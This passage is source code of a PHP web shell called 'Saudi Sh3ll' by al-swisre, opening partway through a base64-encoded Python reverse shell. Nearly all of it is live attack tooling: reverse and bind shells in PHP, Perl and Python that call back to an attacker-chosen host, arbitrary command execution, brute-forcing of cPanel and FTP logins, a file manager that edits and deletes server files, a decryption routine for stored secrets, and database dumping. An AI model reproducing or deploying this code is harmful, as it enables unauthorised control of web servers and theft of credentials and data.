QogICAgICAgICAgICAgICAgIGJyZWFrOyAgDQpleGNlcHQgIEtleWJvYXJkSW50ZXJydXB0IDogIA0KIA0KDQogICAgIHByaW50KCJcblxuPj4+PiBTZXJ2ZXIgVGVybWluYXRlZCA8PDw8PFxuIik7ICANCiAgICAgcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KICAgICBwcmludCgiXHRUaGFua3MgZm9yIHVzaW5nIEFuaS1zaGVsbCdzIC0tIFNpbXBsZSAtLS0gQ01EIik7ICANCiAgICAgcHJpbnQoIlx0RW1haWwgOiBsaW9uYW5lZXNoQGdtYWlsLmNvbSIpOyA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vcy5fZXhpdCgwKQ0KICBleGNlcHQgT1NFcnJvciwgZXJyb3I6DQogICBwcmludCAnRXJyb3IgRW4gRm9yazogJWQgKCVzKScgJSAoZXJyb3IuZXJybm8sIGVycm9yLnN0cmVycm9yKQ0KICAgcGlkID0gb3MuZm9yaygpDQogICBpZiBwaWQgPiAwOg0KICAgIHByaW50ICdGb3JrIE5vIFZhbGlkbyEnDQogIGhhbmRsZXIuY29ubmVjdCgoaG9zdCwgcG9ydCkpDQogIG9zLmR1cDIoaGFuZGxlci5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0KICBvcy5kdXAyKGhhbmRsZXIuZmlsZW5vKCksIHN5cy5zdGRvdXQuZmlsZW5vKCkpDQogIHdoaWxlIGhhbmRsZXIucmVjdjoNCiAgIGhhbmRsZXIuc2VuZGFsbCgoJ1xuW1NhdWRpIFNoM2xsXSM+JykpDQogICBvcy5zeXN0ZW0oJy9iaW4vYmFzaCcpDQogZXhjZXB0Og0KICBwcmludCAiWyFdIEVycm9yIGNvbm5lY3Rpb24i";
////////////////////////// php ///////////////////////
if ($op == 'php')
{
$sockfd=fsockopen($ip , $port , $errno, $errstr );
if($errno != 0)
{
echo "$errno : $errstr";
}
else if (!$sockfd)
{
$result = "error connect!";
}
else
{
fputs ($sockfd ,
"
/################################\
# #
# Saudi Sh3ll v1.0 #
# #
# by al-swisre #
# #
\################################/");
$pwd = shell_exec("pwd");
$sysinfo = shell_exec("uname -a");
$id = shell_exec("id");
$len = 1337;
fputs($sockfd ,$sysinfo . "\n" );
fputs($sockfd ,$pwd . "\n" );
fputs($sockfd ,$id ."\n\n" );
while(!feof($sockfd))
{
$cmdPrompt ="(Saudi sh3ll)[$]> ";
fputs ($sockfd , $cmdPrompt );
$command= fgets($sockfd, $len);
fputs($sockfd , "\n" . shell_exec($command) . "\n\n");
}
fclose($sockfd);
}
echo "End Connect";
exit;
}
elseif ($op == 'perl')
{
op_sa("/tmp/sa.pl",$back_perl);
$out = cmd("perl /tmp/sa.pl ".$ip." ".$port." 1>/dev/null 2>&1 &");
sleep(1);
echo "$out\n".cmd("ps aux | grep sa.pl")." ";
unlink("/tmp/sa.pl");
}
elseif ($op == 'python')
{
op_sa("/tmp/sa.py",$back_py);
$out = cmd("python /tmp/sa.py ".$ip." ".$port." 1>/dev/null 2>&1 &");
sleep(1);
echo "$out\n".cmd("ps aux | grep sa.py")." ";
}
}
else if ($_POST['con'] == 'Connect bind'){
/////////////////////// bind /////////////////////
if ($op == 'perl')
{
$bind_port = $_POST['bind_port'];
op_sa("/tmp/sa.pl",$bind_perl);
$out = cmd("perl /tmp/sa.pl ".$bind_port." 1>/dev/null 2>&1 &");
sleep(1);
echo "$out\n".cmd("ps aux | grep sa.pl")." ";
unlink("/tmp/sa.pl");
}
else if ($op == 'python')
{
$bind_port = $_POST['bind_port'];
op_sa("/tmp/sa.py",$bind_py);
$out = cmd("python /tmp/sa.py ".$bind_port." 1>/dev/null 2>&1 &");
sleep(1);
echo "$out\n".cmd("ps aux | grep sa.py")." ";
unlink("/tmp/sa.py");
}
}}
break;
////////////////////////////////////////// BruteForce /////////////////////
case 'brt':
echo " ";
if (!isset($_POST['bru']))
{
echo '
userlist
passlist
target :
cpanel
ftp
';
exit;
}else
{
$users = $_POST['user'];
$pass = $_POST['pass'];
$option = $_POST['op'];
$connect_timeout=5;
@ini_set('memory_limit', 1000000000000);
$target = $_POST['trg'];
@set_time_limit(0);
$userlist = explode ("\n" , $users );
$passlist = explode ("\n" , $pass );
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
}
break;
///////////////////////////////////////////////////// about ///////////////////////////////////////////
case 'ab':
echo ' ';
echo "";
echo "Coded By : al-swisre ";
echo "E-mail : oy3@hotmail.com ";
echo "From : Saudi Arabian ";
echo "Age : 2/1995 ";
echo "twitter : al_swisre ";
echo "S.Greetz 2 : Mr.Alsa3ek - Ejram Hacker ";
echo "Greetz 2 : e.V.E.L - G-B - kinG oF coNTrol - w0LF Gh4m3D - iNjeCt - abu halil 501 - Mr.Pixy And : Mr.Black - IraQiaN-r0x - Oxygen - locked - n4ss .. and All members of v4-team.com ";
exit;
break;
}
}
else
{
/////////// File Manager //////////////
$sws = 'al-swisre' ;
if ($sws != 'al-swisre'){echo "Coded by al-swisre"; exit;}
if(@$_GET['dir']){
$dir = $_GET['dir'];
if($dir != 'nullz') $dir = @cleandir($dir);
}
$curdir = @cleandir(@getcwd());
$self = $_SERVER['PHP_SELF'];
$me = $_SERVER['PHP_SELF'];
if($dir=="") $dir = $curdir;
$dirx = explode(DIRECTORY_SEPARATOR, $dir);
$files = array();
$folders = array();
echo"";
echo"";
echo" Your path : ";
for($i=0;$i$dirx[$i]" . DIRECTORY_SEPARATOR);
}
echo "
";
echo"";
echo"Name Size Modify Owner/Group Permissions Option ";
if ($handle = @opendir($dir)) {
while (false != ($link = readdir($handle))) {
$on3 = @posix_getpwuid(@fileowner($dir."/".$link)) ;
$gr = @posix_getgrgid(@filegroup($dir."/".$link));
if (@is_dir($dir . DIRECTORY_SEPARATOR . $link)){
$file = array();
@$file['link'] = "[ $link ] ";
$file['pir'] = "".@wsoPermsColor($dir."/".$link)." ";
$file['pir2'] = "".@perm($dir."/".$link)." ";
$folder = " ".$file['link']." dir ".date('Y-m-d H:i:s', @filemtime($dir."/".$link))." ".$on3['name']."/".$gr['name']." ".$file['pir']." ".$file['pir2']." R - C - rm " ;
array_push($folders, $folder);
}
else{
$file = array();
$ext = @strpos($link, ".") ? @strtolower(end(explode(".", $link))) : "";
$file['pir'] = "".@wsoPermsColor($dir."/".$link)." ";
$file['pir2'] = "".@perm($dir."/".$link)." ";
$file['size'] = @number_format(@filesize($dir."/".$link)/1024,2);
@$file['link'] = "".$link ." ";
$file = "".$file['link']." ".$file['size']." ".date('Y-m-d H:i:s', @filemtime($dir."/".$link))." ".$on3['name']."/".$gr['name']." ".$file['pir']." ".$file['pir2']." E - R - C - D - rm " ;
array_push($files, $file);
}
}
asort($folders);
asort($files);
foreach($folders as $folder) echo $folder;
foreach($files as $file) echo $file;
echo "
" ;
closedir($handle);
}
}
if ($_GET['sws'] == 'rname')
{
$dir = $_GET['dir'];
$file = $_GET['file'];
if (!isset($file) or !isset ($dir)){ echo "[ Back ] "; exit;}
if (!isset($_POST['edit']))
{
echo "
dir : ".$_GET['dir']." file name : ".$_GET['file']."
new name :
";
}else
{
$new = $_POST['name'];
$rn = @rename ($dir."/".$file,$dir."/".$new);
if(!$rn)
{
@cmd("cd $dir;mv $file $new ");
}else
{
echo " Name change successfully";
echo "[ Back ] ";
}
}
}
if ($_GET['sws'] == 'chmod')
{
$dir = $_GET['dir'];
$file = $_GET['file'];
if (!isset($file) or !isset($dir)){ echo "[ Back ] "; exit;}
if (!isset($_POST['edit']))
{
echo "
dir : ".$_GET['dir']." file name : ".$_GET['file']."
File to chmod:
755
777
644
";
}
else
{
$pir = $_POST['ch'];
if ($pir == '755'
)
{
$cd = @chmod($_POST['file'],0775);
}
elseif ($pir == '777')
{
$cd = @chmod($_POST['file'],0777);
}
elseif ($pir == '644')
{
$cd = $cd = @chmod($_POST['file'],0644);
}
if(!$cd)
{
echo "ERROR";
}else
{
echo "changed Successfully";
echo "[ Back ] ";
}
}
}
if ($_GET['sws'] == 'edit')
{
$file = $_GET['file'];
$dir = $_GET['dir'];
if (!isset($file) or !isset($dir)){ echo "[ Back ] "; exit;}
if (!isset($_POST['ed']))
{
$fil33 = @fopen($dir."/".$file, 'r');
$content = @fread($fil33, @filesize($dir."/".$file));
echo "
dir : ".$_GET['dir']." file name : ".$_GET['file']."
";
echo htmlentities($content) . "\n";
echo '
';
}
else
{
$oo = @fopen($dir."/".$file, 'w');
$ow = @fwrite($oo, @stripslashes($_POST['fil3']));
@fclose($oo);
if (!$ow){echo "Error";}else {
echo header("Location: ?sws=edit&file=$file&dir=$dir");
}
}
}
else if ($_GET['sws'] == 'dow')
{
$file = $_GET['file'];
$dir = $_GET['dir'];
@sa_download ($dir."/".$file);
}
/////////////////////////////////////////////////////
if ($_GET['sws'] == 'rm')
{
$dir = $_GET['dir'];
$file = $_GET['file'];
if (!isset($file) or !isset ($dir)){ echo "[ Back ] "; exit;}
if (!isset($_POST['edit']))
{
echo "
dir : ".$_GET['dir']." file name : ".$_GET['file']."
";
}else
{
$rn = @unlink ($dir."/".$file);
if(!$rn)
{
$rn = @rmdir ($dir."/".$file);
}elseif (!$rn)
{
$rn = @cmd("cd $dir;rm $file");
}
else if (!$rn){@cmd ("cd $dir;rm -r $file");}
else{
echo header("Location: $pg?dir=$dir");
}
echo header("Location: $pg?dir=$dir");
}
}
///////////////////////////////////////////////////////////////////////////////// mkdir //////////////////////////////
else if ($_GET['sws'] == 'mkdir')
{
$dir = $_POST['dir'];
$file = $_POST['n4me'];
$mkdir = @mkdir ($dir."/".$file,0755);
if (!$mkdir){@cmd ("mkdir $dir/$file ");}else {header("Location: $pg?dir=$dir"); }
header("Location: $pg?dir=$dir");
}
else if ($_GET['sws'] == 'mkfile')
{
$dir = $_POST['dir'];
$file = $_POST['n4me'];
$mkdir = @fopen($dir."/".$file,'w');
if (!$mkdir){@cmd ("touch $dir/$file ");}else {header("Location: $pg?dir=$dir"); }
}
else if ($_GET['sws'] == 'up')
{
$dir = $_POST['dir'];
if(@move_uploaded_file($_FILES['upfile']['tmp_name'], $dir."/".$_FILES['upfile']['name'])) { header("Location: $pg?dir=$dir"); }
else { echo ' Not uploaded !! ';exit; }
}
//////////////////////////// read file /////////////////////
else if ($_GET['sws'] == 'rfile')
{
$file = $_POST['n4me'];
echo "dir : ".$_GET['dir']." file name : ".$_GET['file']." ";
if (!isset($file)){$file = $_GET['dir']."/".$_GET['file'];}
echo "";
$r3ad = @fopen($file, 'r');
if ($r3ad){
$content = @fread($r3ad, @filesize($file));
echo "
".htmlentities($content)." ";
}
else if (!$r3ad)
{
echo "
";
$r3ad = @show_source($file) ;
echo " ";
}
else if (!$r3ad)
{
echo "
";
$r3ad = @highlight_file($file);
echo " ";
}
else if (!$r3ad)
{
echo "
";
$sm = @symlink($file,'sym.txt');
if ($sm){
$r3ad = @fopen('sym.txt', 'r');
$content = @fread($r3ad, @filesize($dir."/".$file));
echo "".htmlentities($content)." ";
}
}
echo " ";
//////////////////////// cmd /////////////////////////////////
}else if ($_GET['sws'] == 'cmd')
{
$cmd = $_POST['n4me'];
$dir = $_POST['dir'];
if (isset($cmd))
{
echo " ";
echo @cmd("cd $dir;$cmd") ;
echo " ";
}
}
else if ($_GET['sws'] == 'site')
{
$read = @file_get_contents("http://networktools.nl/reverseip/$ips") ;
$sit3 = @findit($read,""," ");
echo " ";
exit;
}
if(@$_GET['dir']){
$dir = $_GET['dir'];
if($dir != 'nullz') $dir = cleandir($dir);
}
echo "
";
//////////////////////////////////////// exit :d //////////////////////////
function cmd($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function sa($i)
{
return @str_repeat(" ",$i);
}
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
$hash = (function_exists ('sha1')) ? sha1($string):md5($string);
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
function backup_tables($path,$host,$user,$pass,$name,$tables = '*')
{
$link = @mysql_connect($host,$user,$pass);
@mysql_select_db($name,$link);
//get all of the tables
if($tables == '*')
{
$tables = array();
$result = @mysql_query('SHOW TABLES');
while($row = @mysql_fetch_row($result))
{
$tables[] = $row[0];
}
}
else
{
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
//cycle through
foreach($tables as $table)
{
$result = mysql_query('SELECT * FROM '.$table);
$num_fields = mysql_num_fields($result);
$row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table));
$return.= "\n\n".$row2[1].";\n\n";
for ($i = 0; $i < $num_fields; $i++)
{
while($row = mysql_fetch_row($result))
{
$return.= 'INSERT INTO '.$table.' VALUES(';
for($j=0; $j<$num_fields; $j++)
{
$row[$j] = addslashes($row[$j]);
$row[$j] = ereg_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ");\n";
}
}
$return.="\n\n\n";
}
//save file
$handle = @fopen($path,'w+');
@fwrite($handle,$return);
@fclose($handle);
}
function search($string){
$q = mysql_query("SHOW TABLE STATUS");
$data = array();
while($table = mysql_fetch_array($q)){
$query = "SELECT * FROM $table[Name]";
$result = mysql_query($query);
$row = @mysql_fetch_assoc($result);
if(!$row){
continue;
}
$columns = array_keys($row);
$data[$table['Name']] = $columns;
}
$tables = array();
foreach($data as $table=>$columns){
$query = "SELECT * FROM `$table` WHERE ";
foreach($columns as $key=>$column){
if($key == 0){
$query .= "`$column` LIKE '%$string%'";
}else{
$query .= " OR `$column` LIKE '%$string%'";
}
}
$query = mysql_query($query);
$result = mysql_num_rows($query);
if($result > 0){
$tables[] = $table;
}
}
$founded = array();
foreach($tables as $table){
$columns = $data[$table];
foreach($columns as $column){
$query = "SELECT * FROM `$table` WHERE `$column` LIKE '%$string%'";
$query = mysql_query($query);
$result = mysql_num_rows($query);
if($result > 0){
$founded[] = array('table'=>$table,'column'=>$column);
}
}
}
return $founded;
}
function cleandir($d){ // Function to clean up the $dir and $curdir variables
$d = @realpath($d);
$d = str_replace("\\\\", "\\", $d);
$d = str_replace("////", "//", $d);
return($d);
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '' . @wsoPerms(@fileperms($f)) . ' ';
elseif (!@is_writable($f))
return '' . @wsoPerms(@fileperms($f)) . ' ';
else
return '' . @wsoPerms(@fileperms($f)) . ' ';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function perm($file)
{
if(file_exists($file))
{
return @substr(@sprintf('%o', @fileperms($file)), -4);
}
else
{
return "????";
}
}
function sa_download($path)
{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($path));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($path));
ob_clean();
flush();
readfile($path);
exit;
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
}
function MsSQL()
{
if(@function_exists('mssql_connect'))
{
$msSQL = 'ON ';
}
else
{
$msSQL = 'OFF ';
}
return $msSQL;
}
function MySQL2()
{
$mysql_try = @function_exists('mysql_connect');
if($mysql_try)
{
$mysql = 'ON ';
}
else
{
$mysql = 'OFF ';
}
return $mysql;
}
function Gzip()
{
if (@function_exists('gzencode'))
{
$gzip = 'ON ';
}
else
{
$gzip = 'OFF ';
}
return $gzip;
}
function MysqlI()
{
if (@function_exists('mysqli_connect'))
{
$mysqli = 'ON ';
}
else
{
$mysqli = 'OFF ';
}
return $mysqli;
}
function MSQL()
{
if (@function_exists('msql_connect'))
{
$mSql = 'ON ';
}
else
{
$mSql = 'OFF ';
}
return $mSql;
}
function PostgreSQL()
{
if(@function_exists('pg_connect'))
{
$postgreSQL = 'ON ';
}
else
{
$postgreSQL = 'OFF ';
}
return $postgreSQL;
}
function Oracle()
{
if(@function_exists('ocilogon'))
{
$oracle = 'ON ';
}
else
{
$oracle = 'OFF ';
}
return $oracle;
}
function RegisterGlobals()
{
if(@ini_get('register_globals'))
{
$registerg= 'ON ';
}
else
{
$registerg= 'OFF ';
}
return $registerg;
}
function HardSize($size)
{
if($size >= 1073741824)
{
$size = @round($size / 1073741824 * 100) / 100 . " GB";
}
elseif($size >= 1048576)
{
$size = @round($size / 1048576 * 100) / 100 . " MB";
}
elseif($size >= 1024)
{
$size = @round($size / 1024 * 100) / 100 . " KB";
}
else
{
$size = $size . " B";
}
return $size;
}
function Curl()
{
if(extension_loaded('curl'))
{
$curl = 'ON ';
}
else
{
$curl = 'OFF ';
}
return $curl;
}
function magicQouts()
{
$mag=get_magic_quotes_gpc();
if (empty($mag))
{
$mag = 'OFF ';
}
else
{
$mag= 'ON ';
}
return $mag;
}
function openBaseDir()
{
$openBaseDir = @ini_get("open_basedir");
if (!$openBaseDir)
{
$openBaseDir = 'OFF ';
}
else
{
$openBaseDir = 'ON ';
}
return $openBaseDir;
}
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print " Error : Connection timed out ";
exit;}
elseif ( curl_errno($ch) == 0 ){
print
"
found username : $user - password :
$pass ";}curl_close($ch);
exit;}
function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print " Error : Connection timed out ";
exit;}
elseif ( curl_errno($ch) == 0 ){
print
"
found username : $user - password :
$pass "; }curl_close($ch);
exit; }
function op_sa($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,@base64_decode($t));
@fclose($w);
}
}
echo "
|Progr4m3r by al-swisre |E-m4il : oy3@hotmail.com |My twitter : al_swisre |